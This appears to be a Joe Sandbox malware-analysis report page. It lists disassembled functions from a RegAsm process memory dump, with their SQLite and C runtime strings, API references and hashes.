Function 1B5C73E0 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 369COMMON

Download Yara Rule

Strings

SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 1B5C776D
sqlite_temp_master, xrefs: 1B5C73F2
ase, xrefs: 1B5C768D
sqlite_master, xrefs: 1B5C73FD

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: SELECT*FROM"%w".%s ORDER BY rowid$ase$sqlite_master$sqlite_temp_master
API String ID: 0-231581592
Opcode ID: 0f983279b926cda9efcdff7433bfe7098ebf7d145b89aaa510319f0a54b92e80
Instruction ID: 5082ae1df8426d0a4ec9faf77e3b27bb32a6c1f654ea0476b4b5bc9a1786462d
Opcode Fuzzy Hash: 0f983279b926cda9efcdff7433bfe7098ebf7d145b89aaa510319f0a54b92e80
Instruction Fuzzy Hash: DCE105B0A043419FF701CF68C880BDBBBEABF95704F04492CE99897651E771E985CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1B4B6DA0 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 364COMMON

Download Yara Rule

Strings

recursively defined fts5 content table, xrefs: 1B4B6DE2

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: recursively defined fts5 content table
API String ID: 0-437020801
Opcode ID: d3bb32e9c12362acecfa0d8666f7d749dfbd655863d72f0f58ed7fe1bd565f23
Instruction ID: 1d616ac343a92dc5c907979b46ff14cba206d4af478e3350a5ba95e8efd64569
Opcode Fuzzy Hash: d3bb32e9c12362acecfa0d8666f7d749dfbd655863d72f0f58ed7fe1bd565f23
Instruction Fuzzy Hash: 4DD1E071904341CFDB04CF19C580796BBE0FF89324F498A5EE9898B341D779E886CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00419C27 Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00419C35

Part of subcall function 00418613: __mtinitlocknum.LIBCMT ref: 00418629
Part of subcall function 00418613: __amsg_exit.LIBCMT ref: 00418635
Part of subcall function 00418613: EnterCriticalSection.KERNEL32(00000000,00000000,?,00419281,0000000D,?,?,004196D5,00418172,?,?,0041727B,00000000,0042C868,004172C2,?), ref: 0041863D

DecodePointer.KERNEL32(0042C7F0,00000020,00419D78,00000000,00000001,00000000,?,00419D9A,000000FF,?,0041863A,00000011,00000000,?,00419281,0000000D), ref: 00419C71
DecodePointer.KERNEL32(?,00419D9A,000000FF,?,0041863A,00000011,00000000,?,00419281,0000000D,?,?,004196D5,00418172), ref: 00419C82

Part of subcall function 004191FA: EncodePointer.KERNEL32(00000000,0041CDCC,00640400,00000314,00000000,?,?,?,?,?,00419F8F,00640400,Microsoft Visual C++ Runtime Library,00012010), ref: 004191FC

DecodePointer.KERNEL32(-00000004,?,00419D9A,000000FF,?,0041863A,00000011,00000000,?,00419281,0000000D,?,?,004196D5,00418172), ref: 00419CA8
DecodePointer.KERNEL32(?,00419D9A,000000FF,?,0041863A,00000011,00000000,?,00419281,0000000D,?,?,004196D5,00418172), ref: 00419CBB
DecodePointer.KERNEL32(?,00419D9A,000000FF,?,0041863A,00000011,00000000,?,00419281,0000000D,?,?,004196D5,00418172), ref: 00419CC5

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 4b294464a69c7ed5a0e400bc0e7b709ae240815f70b99885f44d4682db768394
Instruction ID: 8bd5f59fe7337ac10d8a9351378d8553da16a8709647653562f13b28bf213590
Opcode Fuzzy Hash: 4b294464a69c7ed5a0e400bc0e7b709ae240815f70b99885f44d4682db768394
Instruction Fuzzy Hash: E0313B30A0031ADFEF119FA6E9946EDBBF1BB49314F14402BE551A6250EBBC4C81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 1B536180 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 335COMMON

Download Yara Rule

Strings

NEAR, xrefs: 1B53642A
fts5 expression tree is too large (maximum depth %d), xrefs: 1B536349
expected integer, got "%.*s", xrefs: 1B53648D
fts5: syntax error near "%.*s", xrefs: 1B536436

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: NEAR$expected integer, got "%.*s"$fts5 expression tree is too large (maximum depth %d)$fts5: syntax error near "%.*s"
API String ID: 0-2846580575
Opcode ID: d0bf9b2ce691a0935b13cf38649da6b47293e14b98eb0e89174b1b1357f3efc9
Instruction ID: 2f38d76bc392e1a9806f669bb1712bed72e678f91138eb1a9bb4e7d5835d7747
Opcode Fuzzy Hash: d0bf9b2ce691a0935b13cf38649da6b47293e14b98eb0e89174b1b1357f3efc9
Instruction Fuzzy Hash: 4BC1BFB4908206AFEB219F60CA81FAAF7A9FF48705F04495CF8459B351E371E560CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00418A00 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00418A0C

Part of subcall function 00419364: __getptd_noexit.LIBCMT ref: 00419367
Part of subcall function 00419364: __amsg_exit.LIBCMT ref: 00419374

__amsg_exit.LIBCMT ref: 00418A2C
__lock.LIBCMT ref: 00418A3C
InterlockedDecrement.KERNEL32(?), ref: 00418A59
_free.LIBCMT ref: 00418A6C
InterlockedIncrement.KERNEL32(0042E1C0), ref: 00418A84

Memory Dump Source

Source File: 00000001.00000002.2880201060.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2880201060.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000052F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000535000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.0000000000573000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000060D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2880201060.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 7bcf2295555902ab092b20074ac8eb7a5b11b88eb553fe5f09bd465897bee5fc
Instruction ID: 94217c608b42283c6032a388305e1f98177ed79fe345041c0b305e5c649e8a26
Opcode Fuzzy Hash: 7bcf2295555902ab092b20074ac8eb7a5b11b88eb553fe5f09bd465897bee5fc
Instruction Fuzzy Hash: E2016132A01A21ABD721AB6698057DE73A0AF04794F48401FF810A7690DF3C6DC2CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 1B59ABF0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 204COMMON

Download Yara Rule

Strings

unable to delete/modify user-function due to active statements, xrefs: 1B59AD61
misuse, xrefs: 1B59AE18
%s at line %d of [%.10s], xrefs: 1B59AE1D
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B59AE0E

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse$unable to delete/modify user-function due to active statements
API String ID: 0-3864549341
Opcode ID: 0ae138d884ac1ec2c0e320d2b242494fecb488ffd9753948c803d2a3b12a2b59
Instruction ID: a91677b9bb422650a84ea6bbe8d1ef70b7db4816029b17eb1bbc92060eb1b261
Opcode Fuzzy Hash: 0ae138d884ac1ec2c0e320d2b242494fecb488ffd9753948c803d2a3b12a2b59
Instruction Fuzzy Hash: AE51D272608701AFEB148F24EC80BAFBBF5EFC9755F04492DF58696251E331D8418B62

Uniqueness

Uniqueness Score: -1.00%

Function 1B49A230 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 201COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B49A469, 1B49A4A7
%s at line %d of [%.10s], xrefs: 1B49A46E, 1B49A4AC
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B49A45F, 1B49A49D

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3564305576
Opcode ID: 04ca3edb700a2a30c4811362fe3df105aaacfb30bb0d14e6d1b12587a0a9e52f
Instruction ID: 41b52844a0c1ad050ae1933bc516534e7550096df24f3838d1bd5316a3509f75
Opcode Fuzzy Hash: 04ca3edb700a2a30c4811362fe3df105aaacfb30bb0d14e6d1b12587a0a9e52f
Instruction Fuzzy Hash: 1671E6706043819FEB20CF24E845BDB7BE4AF89309F04C52CE89987342E775E455CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1B4AA860 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 180COMMON

Download Yara Rule

Strings

bytecode, xrefs: 1B4AA96E
stmt-pointer, xrefs: 1B4AA928
argument to %s() is not a valid SQL statement, xrefs: 1B4AA97C
tables_used, xrefs: 1B4AA973, 1B4AA97B

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: argument to %s() is not a valid SQL statement$bytecode$stmt-pointer$tables_used
API String ID: 0-361449301
Opcode ID: 4804bdf05f4c97bb6b22c567b89b465e66116af3435eaec5ba2806ee97cb366e
Instruction ID: c14515cbb7db9074bcd0ac5717765558bc05ee083793fffd592d87f6186c0d60
Opcode Fuzzy Hash: 4804bdf05f4c97bb6b22c567b89b465e66116af3435eaec5ba2806ee97cb366e
Instruction Fuzzy Hash: 9961B0B15007429FEB148F34D885B96B7F8AF64314F058D2DE897C6241E776E94CCBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1B5BBF00 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 156COMMON

Download Yara Rule

Strings

NEAR, xrefs: 1B5BC03A
fts5: %s queries are not supported (detail!=full), xrefs: 1B5BC043
fts5 expression tree is too large (maximum depth %d), xrefs: 1B5BC070
phrase, xrefs: 1B5BC035, 1B5BC042

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: NEAR$fts5 expression tree is too large (maximum depth %d)$fts5: %s queries are not supported (detail!=full)$phrase
API String ID: 0-593389478
Opcode ID: f257b46eb8141f0e6c82e635d933f9ba07262f3e8b75d2be996c3fbd2148f551
Instruction ID: ee6538ada1977533bb9f12c00dae7da5159f08d387362633424d04b5dc2164b7
Opcode Fuzzy Hash: f257b46eb8141f0e6c82e635d933f9ba07262f3e8b75d2be996c3fbd2148f551
Instruction Fuzzy Hash: CF41F771A002459FFB25CF14DA80BEEB3A6EF84314F11456DF8468B211E7B5EC85CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1B4C23D0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 150COMMON

Download Yara Rule

Strings

no such database: %s, xrefs: 1B4C24B4
cannot detach database %s, xrefs: 1B4C24C3, 1B4C2547
database %s is locked, xrefs: 1B4C2541
main, xrefs: 1B4C2491

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: cannot detach database %s$database %s is locked$main$no such database: %s
API String ID: 0-3838832555
Opcode ID: e36ae95eaa9055c1fce3513a16641085db3a1f4862105aa551c6fa0b23770fe0
Instruction ID: 53338d2499f35d000744a8bf3cafd9f56484b96acb3d070ef9fdfdabca2fa834
Opcode Fuzzy Hash: e36ae95eaa9055c1fce3513a16641085db3a1f4862105aa551c6fa0b23770fe0
Instruction Fuzzy Hash: C151E2B9A002219FEB14CF14D890B97B7A5BF98B14F11C55DE8988B391DB71E841CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1B4DF490 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 143COMMON

Download Yara Rule

Strings

misuse, xrefs: 1B4DF4BA
%s at line %d of [%.10s], xrefs: 1B4DF4BF
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1B4DF4B0
unable to delete/modify collation sequence due to active statements, xrefs: 1B4DF533

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 0-3348720253
Opcode ID: 5fb82566de6640cfb5d93d6e56e32137ecf3df1e4bdb5b922e3ead2d95becf17
Instruction ID: 2afc4a3b81f5c3dae25ec00bb60ff291ebf531f348e1932ee4d38e2546473441
Opcode Fuzzy Hash: 5fb82566de6640cfb5d93d6e56e32137ecf3df1e4bdb5b922e3ead2d95becf17
Instruction Fuzzy Hash: FB416B726003009BD710AF24ECA0BEAB7E4EF9132AF14856EF5948B382D336F515C761

Uniqueness

Uniqueness Score: -1.00%

Function 1B4C4C00 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 143COMMON

Download Yara Rule

Strings

CREATE TABLE x(term, col, documents, occurrences, languageid HIDDEN), xrefs: 1B4C4CCB
invalid arguments to fts4aux constructor, xrefs: 1B4C4C9E
temp, xrefs: 1B4C4C3E

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: CREATE TABLE x(term, col, documents, occurrences, languageid HIDDEN)$invalid arguments to fts4aux constructor$temp
API String ID: 0-537686372
Opcode ID: 854c99df383dd82bc05638654dba62310202b7aee12d3785a1452641acb951fe
Instruction ID: cfb3bffb579b7f6fdb27e4495208eb39e40c7117f2624759d4b86e96fb5915a1
Opcode Fuzzy Hash: 854c99df383dd82bc05638654dba62310202b7aee12d3785a1452641acb951fe
Instruction Fuzzy Hash: C941277A5042459FCB148F68D980AEB7FF5EF55224F15C4ADECD58B312D632E902CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1B4AC2B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 112COMMON

Download Yara Rule

Strings

%!.*f, xrefs: 1B4AC3AE

Memory Dump Source

Source File: 00000001.00000002.2885733857.000000001B498000.00000020.00001000.00020000.00000000.sdmp, Offset: 1B490000, based on PE: true

Associated: 00000001.00000002.2885708310.000000001B490000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B491000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B5F6000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2885733857.000000001B69D000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B69F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886538230.000000001B6A8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886631004.000000001B6D2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2886655892.000000001B6DF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1b490000_RegAsm.jbxd

Similarity

API ID:
String ID: %!.*f
API String ID: 0-786758813
Opcode ID: b9372379c573337f71063faf650d93bd594670989937b63b6869561980e45337
Instruction ID: 770455d6a373f2b8ab21ac53403a40a5a8022ba19bc1f6cd77faef554b8c0057
Opcode Fuzzy Hash: b9372379c573337f71063faf650d93bd594670989937b63b6869561980e45337
Instruction Fuzzy Hash: 25314F36C04A2186DB46AB38DC133DB77A46FA6291F04C359E8976A103EB359897C3D6

Uniqueness

Uniqueness Score: -1.00%

Function 004063FD Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00406402
memcmp.MSVCRT ref: 00406428
